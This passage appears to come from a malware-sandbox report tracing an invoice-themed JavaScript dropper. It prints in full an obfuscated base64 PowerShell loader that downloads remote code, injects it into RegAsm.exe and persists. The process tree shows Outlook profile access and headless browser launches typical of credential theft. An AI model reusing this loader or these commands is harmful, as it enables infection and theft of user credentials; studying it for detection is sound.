AAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkAOwANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnACcAIAAf#ACAAJwBBAHMAbQAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AZwBkAGgAawBtAEYAaQAvAHMAZQBnAGEAbQBpAC8AcwB0AGUAcwBzAGEALwBtAG8AYwAuAGQAcgBhAG8AYgBsAGwAaQBiAGEAbABnAG4AYQBiAC8ALwA6AHMAZwBzAGYAZgBzAGYAJwAgADsAIAAkAGcAZwAgAD0AIAAkAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcALgBMAGUAbgBnAHQAaAAgAC0AIAA2ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgBzACcAIAAf#ACAAJwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAkAGcAZwAgACwAJwAzACcALAAgACcATgByADEAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA==';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Factura.PDF.js' -Destination 'C:\ProgramData\Nr1.js' -Force"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5916
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5808
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM RegAsm.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1348
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Vbc.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5620
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM MsBuild.exe /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4084
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:5328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff96b33c728,0x7ff96b33c734,0x7ff96b33c740
      4⤵
      PID:5352
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1704,i,12739436636317167466,6962320509764690094,262144 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=1960 /prefetch:2
      4⤵
      PID:4164
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --force-high-res-timeticks=disabled --metrics-shmem-handle=2032,i,8407127706379837450,5894866667169223697,524288 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:3
      4⤵
      System Time Discovery
      PID:2476
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --force-high-res-timeticks=disabled --metrics-shmem-handle=2396,i,11179083997879518233,1612329230983712380,524288 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:8
      4⤵
      PID:5356
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3208,i,10842976418496811555,13681505721935472867,2097152 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=3212 /prefetch:1
      4⤵
      PID:6044
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3220,i,15151621588511821151,3467600578387608747,2097152 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
      4⤵
      PID:1060
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3448,i,14612194682835339728,16860444105861295309,2097152 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:1
      4⤵
      PID:5528
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3468,i,9235457857304880868,14429363575827022943,2097152 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:2
      4⤵
      PID:5348
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4120,i,495427275725101913,15445009001867143785,2097152 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=3956 /prefetch:1
      4⤵
      PID:1204
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=2428,i,3484019687323480735,10056279848550981833,2097152 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:2
      4⤵
      PID:2116
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zliwurxm.bdb" --force-high-res-timeticks=disabled --metrics-shmem-handle=4484,i,5004964850147899387,15633256967848812079,524288 --field-trial-handle=1964,i,11152850097894834055,13126980864248820415,262144 --variations-seed-version --mojo-platform-channel-handle=4432 /prefetch:8
      4⤵
      PID:4820
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\41al52s2.3en"
    3⤵
    PID:3900
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\41al52s2.3en
      4⤵
      Checks processor information in registry
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:3796
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1984 -prefsLen 27099 -prefMapHandle 1988 -prefMapSize 270279 -ipcHandle 2076 -initialChannelId {3c5d3cf8-03aa-4fb6-823f-3d9f392d6f51} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        5⤵
        
        PID:1956
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2400 -prefsLen 27135 -prefMapHandle 2320 -prefMapSize 270279 -ipcHandle 2360 -initialChannelId {0cbb973e-bcbd-40db-8c8e-5c25e1ada406} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        5⤵
        
        PID:868
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\8fd1905d-746f-46f2-a84b-6e6f8df4a64c.dmp"
        5⤵
        
        PID:904
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2076 -prefsLen 27135 -prefMapHandle 2824 -prefMapSize 270279 -ipcHandle 2848 -initialChannelId {510d9df9-fdaa-4333-bc85-6cb43b7bee05} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        5⤵
        
        PID:204
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\5a9d9bd6-a314-404e-a1fa-0e1bec3220d0.dmp"
        5⤵
        
        PID:3772
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2980 -prefsLen 27135 -prefMapHandle 2948 -prefMapSize 270279 -ipcHandle 2952 -initialChannelId {51ad9e5d-6acb-4eb0-a428-09c662a116e7} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        5⤵
        
        PID:1064
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\b7400cb9-37cb-4422-a6b3-546cd0418fc3.dmp"
        5⤵
        
        PID:3448
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3216 -prefsLen 27200 -prefMapHandle 3692 -prefMapSize 270279 -ipcHandle 3672 -initialChannelId {718f9c4e-a983-492b-8d3c-80a11404bf04} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        5⤵
        
        PID:5968
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4040 -prefsLen 27325 -prefMapHandle 4044 -prefMapSize 270279 -jsInitHandle 4048 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4056 -initialChannelId {e7ebaf0f-04f6-422c-88a6-847adb2bfedf} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        5⤵
        Checks processor information in registry
        
        PID:4584
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\9f52ca5b-c8ea-4f99-9232-9fa5ca6c6de7.dmp"
        5⤵
        
        PID:2200
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4188 -prefsLen 27325 -prefMapHandle 4192 -prefMapSize 270279 -ipcHandle 4180 -initialChannelId {7a6e038f-8e0b-4094-941e-50b7f01f417e} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        5⤵
        
        PID:2108
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\2ffb497a-bfc3-4800-8960-9a13a139966e.dmp"
        5⤵
        
        PID:4508
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4444 -prefsLen 27325 -prefMapHandle 4448 -prefMapSize 270279 -ipcHandle 3724 -initialChannelId {eb980367-88c4-46d6-8f19-da1a5fdaa6d8} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        5⤵
        
        PID:6088
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3704 -prefsLen 34824 -prefMapHandle 3804 -prefMapSize 270279 -jsInitHandle 2916 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4808 -initialChannelId {85ac5746-edb4-4e0d-a7d2-037c7441d911} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        5⤵
        Checks processor information in registry
        
        PID:5944
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3140 -prefsLen 35012 -prefMapHandle 3272 -prefMapSize 270279 -ipcHandle 3392 -initialChannelId {16f9baf7-4e1b-4fba-85ea-c3e36b16795c} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        5⤵
        Checks processor information in registry
        
        PID:5708
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5152 -prefsLen 32900 -prefMapHandle 5156 -prefMapSize 270279 -jsInitHandle 5160 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5196 -initialChannelId {909f2ac3-5c4c-4f52-af4c-343c6f8cbe41} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        5⤵
        Checks processor information in registry
        
        PID:1804
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5176 -prefsLen 32900 -prefMapHandle 5180 -prefMapSize 270279 -jsInitHandle 5184 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5160 -initialChannelId {991a0c85-c3fa-4474-be7e-ad8e2f646ad1} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        5⤵
        Checks processor information in registry
        
        PID:1152
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5592 -prefsLen 32952 -prefMapHandle 5596 -prefMapSize 270279 -jsInitHandle 5600 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5608 -initialChannelId {2b75d7ab-81d6-4a63-af2a-628ad197cc0e} -parentPid 3796 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3796" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        5⤵
        Checks processor information in registry
        
        PID:5864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:1184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x25c,0x7ff9691cc188,0x7ff9691cc194,0x7ff9691cc1a0
      4⤵
      PID:4580
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1768,i,2538730557432049694,4653763201939878162,262144 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:2
      4⤵
      PID:644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1948,i,5372117469307155697,15041882391726555013,524288 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:3
      4⤵
      System Time Discovery
      PID:5968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2364,i,6495025327833478120,16046210066406975288,524288 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=2356 /prefetch:8
      4⤵
      PID:4224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3048,i,1597150896142631327,17927146305583537700,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3060 /prefetch:1
      4⤵
      PID:3480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3052,i,365711744368527199,411347662660052540,2097152 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3064 /prefetch:1
      4⤵
      PID:2228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3548,i,8699051565134384851,2218398988739751362,524288 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:8
      4⤵
      PID:5832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3556,i,14137283562350216619,4268985594074397909,524288 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:8
      4⤵
      PID:4508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lij2ll2r.oj5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3560,i,6772877396928841864,15402228671321084671,524288 --field-trial-handle=2272,i,18061063904750934819,5226952079407829808,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:8
      4⤵
      PID:5932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
